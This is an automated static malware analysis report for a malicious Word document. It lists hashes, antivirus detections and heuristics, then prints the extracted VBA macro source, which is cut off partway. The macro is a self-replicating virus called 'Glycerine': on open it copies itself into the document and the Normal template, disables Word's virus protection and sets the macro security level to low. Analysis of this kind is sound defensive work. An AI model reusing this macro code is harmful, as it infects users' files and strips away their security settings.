Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c592ab2a5463b48d…

MALICIOUS

Office (OLE)

46.5 KB Created: 2001-10-23 14:33:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: b56263e426c4ebb027a15e9bbc4e3b39 SHA-1: f96fb4ae521523d7223b235111846af4b7e2dc62 SHA-256: c592ab2a5463b48da82dc5b57b6e4ec2d5fd7737bf85609540c34e6101b5757c
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious Office documents. The macro attempts to disable security features and injects code into the document. The document body discusses a "Brutus - Authentication Engine", which is likely a lure to encourage macro execution. The presence of the Document_Open macro and the attempt to disable security settings strongly suggest the intent to download and execute a secondary payload.

Heuristics 4

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.rtfm.be/fpiette In document text (OLE body)
    • http://www.hoobie.net/brutus/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4516 bytes
SHA-256: 9a35d53022085e4147b984d164a1434d6319b33048b2d833b98d4840b368f4f3
Detection
ClamAV: Doc.Trojan.Cerin-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Glycerine"
Attribute VB_Base = "1Normal.Glycerine"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
 On Error Resume Next
  myname = "Glycerine"
  yup = 0: nope = 1: Rage = "c" & Int((Rnd * 1000) + 2)
  Set itzme = Glycerine.VBProject.VBComponents(nope).codemodule
  Set ab = ActiveDocument.VBProject.VBComponents(nope): Set ab1 = ab.codemodule
  Set cd = NormalTemplate.VBProject.VBComponents(nope): Set cd1 = cd.codemodule
  mycode = itzme.lines(nope, itzme.countoflines)
  If ab1.countoflines >= (99 * yup) And ab.Name <> myname Then
  With ab1
   .deletelines nope, .countoflines
   .addfromstring mycode: ab.Name = myname
  End With
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wdFormatDocument
  End If
  If cd1.countoflines >= (99 * yup) And cd.Name <> myname Then
  With cd1
   .deletelines nope, .countoflines
   .addfromstring mycode: cd.Name = myname
  End With
  End If
  With Application.Options
   .VirusProtection = yup
   .SaveNormalPrompt = yup
   .ConfirmConversions = yup
  End With
  CommandBars("Tools").Controls("Macro").Enabled = yup
  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
   System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
   CommandBars("Macro").Controls("Security...").Enabled = yup
  End If
  If Day(Now) = 31 And Month(Now) = 7 Or Day(Now) = 6 And Month(Now) = 4 Then
   MsgBox "I Love You and Hate You." & vbCr & "You've given so much pleasure," & vbCr & "And caused so much pain." & vbCr & "Now to share the wealth!!", vbOKOnly, "Glycerine"
  With Selection
     .TypeText "Glycerine" & vbCr
     .TypeText " " & vbCr
     .TypeText " " & vbCr
     .TypeText " " & vbCr
     .TypeText "Must be your skin I'm sinking in" & vbCr
     .TypeText "Must be for real 'cause now I can feel" & vbCr
     .TypeText "And I didn't mind it's not my kind" & vbCr
     .TypeText "Not my time to wonder why" & vbCr
     .TypeText "everything 's gone white" & vbCr
     .TypeText "And everything's grey" & vbCr
     .TypeText "Now you 're here now you're away" & vbCr
     .TypeText "I Don 't want this remember that" & vbCr
     .TypeText "I 'll never forget where you're at" & vbCr
     .TypeText "Don 't let the days go by" & vbCr
     .TypeText "Glycerine" & vbCr
     .TypeText " " & vbCr
     .TypeText "I 'm never alone" & vbCr
     .TypeText "I 'm alone all the time" & vbCr
     .TypeText "Are you at one" & vbCr
     .TypeText "Or do you lie" & vbCr
     .TypeText "We live in a wheel" & vbCr
     .TypeText "Where everyone steals" & vbCr
     .TypeText "But when we rise" & vbCr
     .TypeText "It 's like strawberry fields" & vbCr
     .TypeText " " & vbCr
     .TypeText "If I treated you bad" & vbCr
     .TypeText "You bruise my face" & vbCr
     .TypeText "couldn 't love you more" & vbCr
     .TypeText "You got a beautiful taste" & vbCr
     .TypeText "Don 't let the days go by" & vbCr
     .TypeText "Could have been easier on you" & vbCr
     .TypeText "I couldn 't change though I wanted to" & vbCr
     .TypeText "Should have been easier by three" & vbCr
     .TypeText "Our old friend fear and you and me" & vbCr
     .TypeText "Glycerine (Repeat)" & vbCr
     .TypeText "Don 't let the days go by" & vbCr
     .TypeText "Glycerine (Repeat)" & vbCr
     .TypeText " " & vbCr
     .TypeText "Bad mood whine again" & vbCr
     .TypeText "Bad mood whine again" & vbCr
     .TypeText "As she falls around me" & vbCr
     .TypeText " " & vbCr
     .TypeText "I needed you more" & vbCr
     .TypeText "When we wanted us less" & vbCr
     .TypeText "I could not kiss just regress" & vbCr
     .TypeText "It might just be" & vbCr
     .TypeText "Clear simple And plain" & vbCr
     .TypeText "That 's just f
... (truncated)